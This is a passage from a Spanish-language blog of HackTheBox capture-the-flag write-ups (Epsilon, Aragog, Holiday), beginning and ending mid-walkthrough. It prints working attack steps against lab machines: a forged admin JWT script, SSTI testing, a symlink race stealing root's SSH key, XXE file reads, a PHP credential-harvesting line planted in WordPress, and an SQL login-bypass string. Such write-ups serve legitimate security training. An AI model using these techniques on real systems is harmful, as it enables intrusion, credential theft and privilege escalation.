<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git12.png" alt="git12" />  <br />
Y observamos que esta contiene un secreto hardcodeado el cúal podriamos utilizar para crear un token JWT.</p>

<h2 id="creando-jwt">Creando JWT</h2>
<p>Desde este punto ya que contamos con un <strong><code class="language-plaintext highlighter-rouge">secret</code></strong> podemos intentar crear un token JWT para su uso. Para esto utilizamos el siguiente script en python3:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span>
<span class="n">secret</span> <span class="o">=</span> <span class="s">"RrXCv`mrNe!K!4+5`wYq"</span>
<span class="n">encoded_jwt</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">({</span><span class="s">"username"</span><span class="p">:</span> <span class="s">"admin"</span><span class="p">},</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">"HS256"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[!] Token Generado: "</span> <span class="o">+</span> <span class="n">encoded_jwt</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/193162ce1dc03e6c7535d1603e23af2bfb2c6b13/_includes/CTFIMG/Epsilon/jwt0.png" alt="jwt0" />  <br />
Copiamos el token generado y lo utilizamos ante el puerto 5000 con el nombre de <strong><code class="language-plaintext highlighter-rouge">auth</code></strong> como vimos en el código <strong><code class="language-plaintext highlighter-rouge">server.py</code></strong>:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/193162ce1dc03e6c7535d1603e23af2bfb2c6b13/_includes/CTFIMG/Epsilon/jwt1.png" alt="jwt1" /></p>

<h2 id="ssti">SSTI</h2>
<p>Ahora que podemos explorar libremente observamos que en <strong><code class="language-plaintext highlighter-rouge">order</code></strong> podemos seleccionar un <strong><code class="language-plaintext highlighter-rouge">costume</code></strong> el cual si presionamos en <strong><code class="language-plaintext highlighter-rouge">order</code></strong> se despliega el mensaje de “Your order of “phantom” has been placed successfully.” En este caso al seleccionar el item de <strong><code class="language-plaintext highlighter-rouge">Phatnom Mask</code></strong>
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/be3f4b8e7e5a9ae2fd85341e8bcb9cc06ed58d54/_includes/CTFIMG/Epsilon/ssti0.png" alt="ssti0" />  <br />
Realizamos la misma petición pero esta vez con BurpSuite e identificamos que en el parámetro <strong><code class="language-plaintext highlighter-rouge">costume</code></strong> se pasa el valor de <strong><code class="language-plaintext highlighter-rouge">phantom</code></strong>:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/be3f4b8e7e5a9ae2fd85341e8bcb9cc06ed58d54/_includes/CTFIMG/Epsilon/ssti1.png" alt="ssti1" />  <br />
Si cambiamos el valor de <strong><code class="language-plaintext highlighter-rouge">phantom</code></strong> por cualquier cosa como por ejemplo <strong><code class="language-plaintext highlighter-rouge">h4rri</code></strong> observamos que se muestra el valor de este:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/be3f4b8e7e5a9ae2fd85341e8bcb9cc06ed58d54/_includes/CTFIMG/Epsilon/ssti2.png" alt="ssti2" />  <br />
Vemos que el valor se refleja correctamente. Sabemos por el script <strong><code class="language-plaintext highlighter-rouge">server.py</code></strong> que la aplicación está construida con <strong><code class="language-plaintext highlighter-rouge">Flask</code></strong>. Probamos un payload tipico para estos casos para probar la vulnerabilidad de Server-Side Template Injection el cual es <strong>``</strong> si el resultado de este es <strong><code class="language-plaintext highlighter-rouge">49</code></strong> entonces estamos ante la vulnerabilidad mencionada:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/be3f4b8e7e5a9ae2fd85341e8bcb9cc06ed58d54/_includes/CTFIMG/Epsilon/ssti3.png" alt="ssti3" />
Con la vulnerabilidad confirmada ya podemos buscar una forma de ejecutar comandos y obtener acceso a la maquina victima.</p>
<h2 id="shell-as-tom">Shell as Tom</h2>
<p>Para ganar acceso a la maquina victima podemos utilizar el siguiente payload:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
</code></pre></div></div>
<p>Desde ya nos ponemos en escucha con netcat:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/f70311343e42ac315b4093dee0def1ed4da18c02/_includes/CTFIMG/Epsilon/sh1.png" alt="sh1" />
A continuación enviamos el payload en BurpSuite:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/f70311343e42ac315b4093dee0def1ed4da18c02/_includes/CTFIMG/Epsilon/sh2.png" alt="sh2" /><br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/f70311343e42ac315b4093dee0def1ed4da18c02/_includes/CTFIMG/Epsilon/sh3.png" alt="sh3" />  <br />
Desde este punto ya podemos leer la flag ubicada en el directorio del usuario tom.</p>
<h2 id="privesc">Privesc</h2>
<p>Al ejecutar Linpeas no observamos nada de mucho valor para escalar privilegios. Por lo que nos disponemos a enumerar procesos que no podamos ver utilizando la herramienta pspy. La descargamos en la maquina victima, le asignamos permisos de ejecución y la ejecutamos:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv0.png" alt="priv0" /> <br />
Observamos que el usuario root arranca una tarea cron y posteriormente ejecuta el script <strong><code class="language-plaintext highlighter-rouge">backup.sh</code></strong> ubicado en <strong><code class="language-plaintext highlighter-rouge">/usr/bin</code></strong>:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv1.png" alt="priv1" />   <br />
El script tiene el siguiente contenido:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv2.png" alt="priv2" />    <br />
La línea <code class="language-plaintext highlighter-rouge">/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"</code> crea un nuevo archivo comprimido en el directorio <code class="language-plaintext highlighter-rouge">/var/backups/web_backups/</code>.</p>

<p>El nombre del archivo es <code class="language-plaintext highlighter-rouge">${check_file}.tar</code>, donde <code class="language-plaintext highlighter-rouge">${check_file}</code> es el valor de la variable <code class="language-plaintext highlighter-rouge">check_file</code>. El contenido del archivo comprimido incluye el archivo <code class="language-plaintext highlighter-rouge">/opt/backups/checksum</code> y el archivo comprimido anteriormente creado <code class="language-plaintext highlighter-rouge">/opt/backups/$file.tar</code>.</p>

<p>Observamos además de que se está utilizando <strong><code class="language-plaintext highlighter-rouge">tar</code></strong> con el parámetro <strong><code class="language-plaintext highlighter-rouge">-h</code></strong> el cual según su descripción:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv3.png" alt="priv3" />  <br />
En base a esto podemos probar el crear un fichero en el directorio <strong><code class="language-plaintext highlighter-rouge">/opt/backups</code></strong> con el nombre de <strong><code class="language-plaintext highlighter-rouge">checksum</code></strong> el cual apunte directamente a la flag del usuario root o a la clave ssh del usuario root para ganar acceso al sistema con este. Para esto haremos uso de un script en python3 ya que la maquina victima cuenta con este lenguaje:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
	<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="s">"/opt/backups/checksum"</span><span class="p">):</span>
		<span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="s">"/opt/backups/checksum"</span><span class="p">)</span>
		<span class="k">print</span><span class="p">(</span><span class="s">"[+] File deleted"</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">symlink</span><span class="p">(</span><span class="s">"/root/.ssh/id_rsa"</span><span class="p">,</span> <span class="s">"/opt/backups/checksum"</span><span class="p">,</span> <span class="n">target_is_directory</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] Symlink created"</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv4.png" alt="priv4" />  <br />
Observamos que el script se ejecuto correctamente. Ahora copiamos el ultimo fichero <code class="language-plaintext highlighter-rouge">tar</code> creado al directorio tmp y lo descomprimimos:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv5.png" alt="pirv5" />  <br />
Posteriormente ingresamos a la carpeta resultando la cual es opt y luego a backups:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv6.png" alt="priv6" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv7.png" alt="priv7" />   <br />
Como apreciamos contamos con el fichero checksum, el cual si revisamos podemos notar que es una clave rsa para utilizar con SSH:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv8.png" alt="priv8" />  <br />
La copiamos y la guardamos en nuestra maquina de atacante. Le asignaremos permisos con <code class="language-plaintext highlighter-rouge">chmod 600</code> para que contenga los permisos del propietario: 
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8c8556c7da19f7d4a74d134ca7bfd23559794cc1/_includes/CTFIMG/Epsilon/priv9.png" alt="priv9" />   <br />
Observamos que tenemos acceso como usuario root, y ya podremos leer la flag:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/1691d8739fe9c2bea4720350b8bf4c406c417fe0/_includes/CTFIMG/Epsilon/priv10.png" alt="priv10" /></p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Web" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Aragog - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/03/23/htb-aragog.html" rel="alternate" type="text/html" title="Aragog - HackTheBox Writeup" /><published>2024-03-23T00:00:00+00:00</published><updated>2024-03-23T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/03/23/htb-aragog</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/03/23/htb-aragog.html"><![CDATA[<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/cef48565b774e170c638c80c6cb99b6097d44298/_includes/CTFIMG/Aragog/aragog.png" alt="logo" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento Inicial</h2>
<p>Para comenzar realizamos un scan con nmap para detectar los puertos abiertos del host victima:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sS</span> <span class="nt">--min-rate</span> 1500 <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-vv</span> <span class="nt">-n</span> <span class="nt">-Pn</span> 10.10.10.78
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8f8206a4d207f45efa0aeb1b9552be086fd024b9/_includes/CTFIMG/Aragog/recon1.png" alt="recon1" /></p>

<p>Realizamos otro scan para detectar los servicios y versiones que se están utilizando en los puertos detectados:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sCV</span> <span class="nt">-p21</span>,22,80 10.10.10.78
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/8f8206a4d207f45efa0aeb1b9552be086fd024b9/_includes/CTFIMG/Aragog/recon2.png" alt="recon2" /></p>

<p>Observamos que en el escaneo resultante podemos ingresar de forma anónima al FTP. Además de que en el servicio HTTP se esta redirigiendo hacia el dominio <strong><code class="language-plaintext highlighter-rouge">aragog.htb</code></strong> por lo que añadimos este al fichero hosts de nuestra maquina.
Al ingresar al servicio FTP podemos identificar el fichero <strong>test.txt</strong>. Lo descargare para visualizar su contenido:
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/2498b257aaf108a57daa4ece51c277937350b232/_includes/CTFIMG/Aragog/recon3.png" alt="recon3" /></p>

<p>Al ver el el contenido del fichero notamos que se asemeja al de la estructura XML. Además de contener una mascara de red en el detalle. De momento no tenemos un uso en particular para este fichero:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/2498b257aaf108a57daa4ece51c277937350b232/_includes/CTFIMG/Aragog/recon4.png" alt="recon4" /></p>

<h2 id="reconocimiento-web">Reconocimiento Web</h2>
<p>Desde este punto al ingresar al servicio HTTP podemos ver una pagina por defecto del servidor de Apache:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3244f0e7f4f571f89e90565c8374e2d79acade55/_includes/CTFIMG/Aragog/recweb1.png" alt="recweb1" /></p>

<p>Generalmente los servidores Apache utilizan el lenguaje de programación PHP. 
Para realizar fuzzing de está extensión y encontrar posibles ficheros utilizare la herramienta <strong>wfuzz</strong>. Utilizaremos 2 payloads, uno para descubrir rutas y otro para mezclar estas rutas con las extensiones <strong><code class="language-plaintext highlighter-rouge">html</code></strong>,<strong><code class="language-plaintext highlighter-rouge">php</code></strong> y <strong><code class="language-plaintext highlighter-rouge">txt</code></strong>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wfuzz <span class="nt">-c</span> <span class="nt">--hc</span><span class="o">=</span>404 <span class="nt">-w</span> /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt <span class="nt">-z</span> list,html-php-txt <span class="nt">-u</span> http://aragog.htb/FUZZ.FUZ2Z <span class="nt">-t</span> 200
</code></pre></div></div>

<p>Observamos que se ha encontrado el fichero <strong><code class="language-plaintext highlighter-rouge">hosts.php</code></strong>:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3244f0e7f4f571f89e90565c8374e2d79acade55/_includes/CTFIMG/Aragog/recweb2.png" alt="recweb2" /></p>

<p>Ingresamos a este mediante el navegador y podemos ver el mensaje de “<strong><code class="language-plaintext highlighter-rouge">There are 4294967294 possible hosts for</code></strong>”
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3244f0e7f4f571f89e90565c8374e2d79acade55/_includes/CTFIMG/Aragog/recweb3.png" alt="recweb3" /></p>

<h3 id="detectando-xxe">Detectando XXE</h3>
<p>Algo que podemos probar con el fichero descargado desde el servidor FTP es enviarlo como data al servidor HTTP.
Podemos realizar esto con curl:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/14979102197472ca0c791cee5826d7ce5fe3e184/_includes/CTFIMG/Aragog/xxe1.png" alt="xxe1" /></p>

<p>Y como vemos nos entrega un resultado distinto. Con esto podemos pensar que el script <strong><code class="language-plaintext highlighter-rouge">host.php</code></strong> sirve como una calculadora de subredes. Podemos enviarlo directamente en BurpSuite cambiando la IP para probar si realiza la misma operación y nos entrega un resultado distinto:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/14979102197472ca0c791cee5826d7ce5fe3e184/_includes/CTFIMG/Aragog/xxe2.png" alt="xxe2" /></p>

<p>Y vemos que efectivamente no solo nos entrega un resultado distinto para la mascara si no que además esta interpretando el contenido del fichero en formato XML.
Desde este punto podemos intentar realizar una inyección XXE básica para recuperar algún fichero interno de la maquina como seria el fichero <strong><code class="language-plaintext highlighter-rouge">/etc/passwd</code></strong>       <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/14979102197472ca0c791cee5826d7ce5fe3e184/_includes/CTFIMG/Aragog/xxe3.png" alt="xxe3" />
Y tenemos la capacidad de realizar una inyección XXE.</p>
<h2 id="shell-as-florian">Shell as Florian</h2>
<p>Ya que la vulnerabilidad esta confirmada podemos intentar recuperar la llave <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong> de alguna de los usuarios del sistema que cuentan con una bash. Para este caso en particular tenemos 3 usuarios: <strong><code class="language-plaintext highlighter-rouge">root</code></strong>, <strong><code class="language-plaintext highlighter-rouge">florian</code></strong> y <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>. Como puede ser obvio lo más seguro es que si intentamos recuperar la <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong> del usuario root no podremos, por lo que veremos si podemos recuperar el <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong> de <strong><code class="language-plaintext highlighter-rouge">florian</code></strong> o <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>.
En este caso no tenemos resultados con el usuario <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>:          <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/6aba1470d3e86959cc2419b57fda2331c817c4ef/_includes/CTFIMG/Aragog/shell1.png" alt="shell1" /></p>

<p>Pero con el usuario <strong><code class="language-plaintext highlighter-rouge">florian</code></strong> es un caso distinto y obtenemos una <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong> que nos servirá para conectarnos a la maquina victima:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/6aba1470d3e86959cc2419b57fda2331c817c4ef/_includes/CTFIMG/Aragog/shell2.png" alt="shell2" /></p>

<p>Es importante que la llave <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong> contenga los permisos necesarios para conectarnos por lo que debemos modificarlos con chmod:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod </span>600 id_rsa
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/6aba1470d3e86959cc2419b57fda2331c817c4ef/_includes/CTFIMG/Aragog/shell3.png" alt="shell3" />
Ya tenemos acceso.</p>

<h2 id="privesc">Privesc</h2>
<p>Para la escalada de privilegios utilice linpeas el cual revela ficheros que han sido modificados en los últimos 5 minutos los cuales corresponden a ficheros de WordPress ubicados en <strong><code class="language-plaintext highlighter-rouge">/var/www/dev_wiki</code></strong>:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc1.png" alt="privesc1" /></p>

<p>Al ingresar mediante el navegador observamos que efectivamente hay un wordpress ejecutandose:       <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc2.png" alt="privesc2" /></p>

<p>Llama la atención que los ficheros hayan sido modificados en los últimos 5 minutos por lo que utilizaremos la herramienta <strong><code class="language-plaintext highlighter-rouge">pspy</code></strong> para observar si se están ejecutando comandos que no podamos detectar:      <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc3.png" alt="privesc3" /></p>

<p>Observamos en el output de pspy que el grupo de procesos que se inicia cada cinco minutos llama a <strong><code class="language-plaintext highlighter-rouge">/root/restore.sh</code></strong>, lo que parece reiniciar el sitio de wordpress. Además de un fichero <strong><code class="language-plaintext highlighter-rouge">wp-login.py</code></strong> el cual está siendo ejecutado por el usuario <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>.
Con esto podemos llegar a conclusión de que se esta autenticando el usuario <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>. Como tenemos permisos de escritura en los ficheros del servidor de wordpress podemos intentar modificar alguno de estos para que al momento de que se realice la autenticación del mismo, escribir en un fichero aparte las credenciales ingresadas del usuario en cuestión. Esto lo podemos lograr modificando el fichero <strong><code class="language-plaintext highlighter-rouge">user.php</code></strong> en <strong><code class="language-plaintext highlighter-rouge">wp-includes</code></strong>:     <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc4.png" alt="privesc4" /></p>

<p>Ahora incluimos el siguiente fragmento de código para depositar un fichero que llamaremos <strong><code class="language-plaintext highlighter-rouge">hijack.txt</code></strong> el cual contendrá por una parte <strong><code class="language-plaintext highlighter-rouge">log</code></strong> que corresponde al nombre de usuario y <strong><code class="language-plaintext highlighter-rouge">pwd</code></strong> el cual corresponde a la contraseña del mismo:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>file_put_contents<span class="o">(</span><span class="s2">"/var/www/html/dev_wiki/hijack.txt"</span>, <span class="nv">$_POST</span><span class="o">[</span><span class="s1">'log'</span><span class="o">]</span> <span class="nb">.</span> <span class="s2">" : "</span> <span class="nb">.</span> <span class="nv">$_POST</span><span class="o">[</span><span class="s1">'pwd'</span><span class="o">]</span>, FILE_APPEND<span class="o">)</span><span class="p">;</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc5.png" alt="privesc5" /></p>

<p>Ahora tocaría esperar a que los comandos se ejecuten y se deposite el fichero. Estaremos realizando una petición a este fichero de manera constante:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>watch <span class="nt">-n</span> 1 curl <span class="nt">-s</span> <span class="nt">-X</span> GET http://10.10.10.78/dev_wiki/hijack.txt
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc6.png" alt="privesc6" /></p>

<p>Y luego de esperar un poco se almacenan credenciales para el usuario Administrator en el fichero hijack.txt:     <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc7.png" alt="privesc7" /></p>

<p>Las reutilizaremos con el usuario <strong><code class="language-plaintext highlighter-rouge">cliff</code></strong>:       <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc8.png" alt="privesc8" /></p>

<p>Y no funcionan. Las probamos con el usuario root:        <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/4afbddbe4818ca9be50dc016d5c86ae6e1e3e524/_includes/CTFIMG/Aragog/privesc9.png" alt="privesc9" /></p>

<p>Y somos usuario root con el cual podremos leer las flags.</p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Web" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Holiday - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/03/20/htb-holiday.html" rel="alternate" type="text/html" title="Holiday - HackTheBox Writeup" /><published>2024-03-20T00:00:00+00:00</published><updated>2024-03-20T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/03/20/htb-holiday</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/03/20/htb-holiday.html"><![CDATA[<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/master/_includes/CTFIMG/Holiday/Holiday.png" alt="holiday" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento Inicial</h2>
<p>Como siempre iniciamos con un scan para detectar puertos abiertos en el host victima:</p>
<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">nmp</span> <span class="o">-</span><span class="nx">sS</span> <span class="o">--</span><span class="nx">min</span><span class="o">-</span><span class="nx">rate</span> <span class="mi">1500</span> <span class="o">-</span><span class="nx">p</span><span class="o">-</span> <span class="o">--</span><span class="nx">open</span> <span class="o">-</span><span class="nx">vv</span> <span class="o">-</span><span class="nx">n</span> <span class="o">-</span><span class="nx">Pn</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">10.25</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/f253d5ded9dd589d1192d8f6ce6353e19734fcd3/_includes/CTFIMG/Holiday/nmap1.png" alt="nmap1" /></p>

<p>Podemos ver que el resultado nos entrega el puerto 22 y 8000 abiertos. Realizamos otro scan para detectar más los servicios y las versiones sobre estos puertos: <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/f253d5ded9dd589d1192d8f6ce6353e19734fcd3/_includes/CTFIMG/Holiday/nmap2.png" alt="nmap2" /></p>

<p>El resultado es SSH y un servicio HTTP de Node.JS en el puerto 8000.</p>
<h2 id="reconocimiento-web">Reconocimiento Web</h2>
<p>Al ingresar a la web solo vemos la imagen de un hexagono:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/web0.png" alt="web0" /></p>

<p>Si intentamos ingresar a la ruta de la imagen veremos lo siguiente:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/web1.png" alt="web1" /></p>

<p>Al interceptar la petición y cambiar el método por POST seguiremos obteniendo el mismo mensaje:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/burp0.png" alt="burp0" /></p>

<h3 id="fuzzing">Fuzzing</h3>
<p>Como no tenemos mucho más que ver por esta parte realizaremos fuzzing para encontrar directorios que estén ocultos. Para esta ocasión utilizamos la herramienta de fuzzing dirsearch ya que está incluye la cabecera <strong><code class="language-plaintext highlighter-rouge">User-Agent</code></strong> por defecto. Otras herramientas como wfuzz o gobuster no funcionarán ya que no la incluyen por defecto y tendríamos que agregarla como payload. Ya que la aplicación web está validando esta cabecera:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/fuzzing0.png" alt="fuzz0" /></p>

<p>Como vemos encontramos diversas rutas como <strong><code class="language-plaintext highlighter-rouge">login</code></strong> y <strong><code class="language-plaintext highlighter-rouge">admin</code></strong>. está ultima redirige a <strong><code class="language-plaintext highlighter-rouge">login</code></strong> al igual que <strong><code class="language-plaintext highlighter-rouge">logout</code></strong>:   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/login0.png" alt="login0" /></p>

<p>Observamos que al ingresar claves por defecto se muestra el mensaje de <strong><code class="language-plaintext highlighter-rouge">Invalid User</code></strong>. Lo que puede servir en principio para enumerar usuarios existentes en el sistema y también para poder identificar un potencial vector de inyección SQL:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/db2c435d60d8ff7c988f949f49048b9119f3bae8/_includes/CTFIMG/Holiday/login1.png" alt="login1" /></p>

<h3 id="sqli">SQLi</h3>
<p>Para probar la inyección SQL interceptaremos la petición POST del login para poder modificarla en el Repeater de BurpSuite.
Si ingresamos una comilla simple (’) podremos ver que sigue apareciendo el mensaje de <strong><code class="language-plaintext highlighter-rouge">Invalid User</code></strong>:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli0.png" alt="sqli0" /></p>

<p>Pero si ingresamos una doble comilla el mensaje será de <strong><code class="language-plaintext highlighter-rouge">Error Ocurred</code></strong>:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli1.png" alt="sqli1" /></p>

<p>En base a esto podemos generar una consulta con doble comilla de tipo boolean típica para realizar un bypass del login tal como <code class="language-plaintext highlighter-rouge">" OR "5"="5</code> : <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/b147a5cb3210264113981aff4a4839f549d76b35/_includes/CTFIMG/Holiday/sqli3.png" alt="sqli2" /></p>

